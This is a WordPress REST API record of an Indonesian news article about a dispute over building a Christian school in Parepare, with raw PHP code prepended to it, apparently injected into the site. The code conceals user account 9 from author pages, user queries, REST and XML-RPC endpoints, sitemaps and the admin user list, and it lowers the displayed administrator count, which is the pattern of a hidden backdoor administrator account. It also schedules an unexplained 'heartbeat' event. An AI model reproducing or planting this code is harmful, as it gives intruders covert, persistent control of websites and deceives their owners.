
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 9;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 9 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 9;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 9;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-9{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":785,"date":"2024-09-23T18:41:13","date_gmt":"2024-09-23T10:41:13","guid":{"rendered":"https:\/\/harsyanews.id\/?p=785"},"modified":"2024-09-23T18:41:13","modified_gmt":"2024-09-23T10:41:13","slug":"isu-pembangunan-sekolah-kristen-di-soreang-abdul-hayat-gani-ajak-masyarakat-tetap-tenang","status":"publish","type":"post","link":"https:\/\/harsyanews.id\/index.php\/2024\/09\/23\/isu-pembangunan-sekolah-kristen-di-soreang-abdul-hayat-gani-ajak-masyarakat-tetap-tenang\/","title":{"rendered":"Isu Pembangunan Sekolah Kristen di Soreang: Abdul Hayat Gani Ajak Masyarakat Tetap Tenang"},"content":{"rendered":"<p><strong>HARSYANEWS.ID<\/strong>,PAREPARE &#8211; Pemerintah Kota Parepare, Sulawesi Selatan, sedang dihadapkan pada isu terkait rencana pembangunan Sekolah Kristen Gamaliel di Kelurahan Wattang Soreang, Kecamatan Soreang.<\/p>\n<p>Penolakan terhadap pembangunan sekolah ini disampaikan oleh Dewan Perwakilan Rakyat Daerah (DPRD) setelah rapat dengar pendapat (RDP) bersama beberapa elemen masyarakat, termasuk Forum Masyarakat Muslim Parepare.<\/p>\n<p>Meski baru saja dilantik sebagai Penjabat (Pj) Wali Kota Parepare pada 18 September 2024, Abdul Hayat Gani langsung memberikan perhatian serius terhadap polemik ini.<\/p>\n<p>Abdul Hayat menegaskan bahwa dia berkomitmen untuk segera mencari solusi yang terbaik.<\/p>\n<p>\u201cYa, tetap jadi atensi kami dari pemerintah kota. Dalam waktu dekat kami akan mengundang seluruh pihak terkait, termasuk Forkopimda, untuk membahas lebih lanjut. Kita perlu merumuskan solusi terbaik untuk semua,&#8221; ungkap Abdul Hayat.<\/p>\n<p>Namun, Abdul Hayat mengajak semua pihak untuk bersikap tenang dan menahan diri dalam merespons persoalan ini.<\/p>\n<p>Baginya, menjaga ketertiban dan keamanan kota sangat penting, apalagi Parepare akan menghadapi Pilkada pada November mendatang.<\/p>\n<p>&#8220;Kenapa kita harus menahan diri? Agar kota kita tetap aman dan kondusif. Saya harap semua pihak bersabar dan bijak melihat persoalan ini,\u201d imbuhnya.<\/p>\n<p>Sebagai pemimpin di kota ini, Abdul Hayat menyampaikan komitmennya untuk segera menuntaskan polemik pembangunan Sekolah Kristen Gamaliel tersebut.<\/p>\n<p>Dia kembali menegaskan bahwa segala keputusan yang diambil nanti akan melalui diskusi yang melibatkan semua pihak terkait.<\/p>\n<p>\u201cPemerintah kota akan mengambil langkah yang kongkret dan bijak. Kami harap agar setiap keputusan nantinya bisa diterima dengan baik oleh semua pihak,\u201d tegasnya.<\/p>\n<p>Sebagai seorang pemimpin, Abdul Hayat Gani menunjukkan sikap bijak dan terbuka dalam menangani isu ini.<\/p>\n<p>Upayanya dalam menjaga keharmonisan dan kedamaian di Kota Parepare menjadi bukti komitmennya untuk mewujudkan kota yang kondusif dan sejahtera bagi seluruh warganya, tanpa memandang latar belakang agama atau keyakinan. (*)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>HARSYANEWS.ID,PAREPARE &#8211; Pemerintah Kota Parepare, Sulawesi Selatan, sedang dihadapkan pada isu terkait rencana pembangunan Sekolah [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":786,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28,2,26],"tags":[],"class_list":["post-785","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-nasional","category-news","category-pemerintahan"],"_links":{"self":[{"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/posts\/785","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/comments?post=785"}],"version-history":[{"count":2,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/posts\/785\/revisions"}],"predecessor-version":[{"id":788,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/posts\/785\/revisions\/788"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/media\/786"}],"wp:attachment":[{"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/media?parent=785"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/categories?post=785"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/harsyanews.id\/index.php\/wp-json\/wp\/v2\/tags?post=785"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}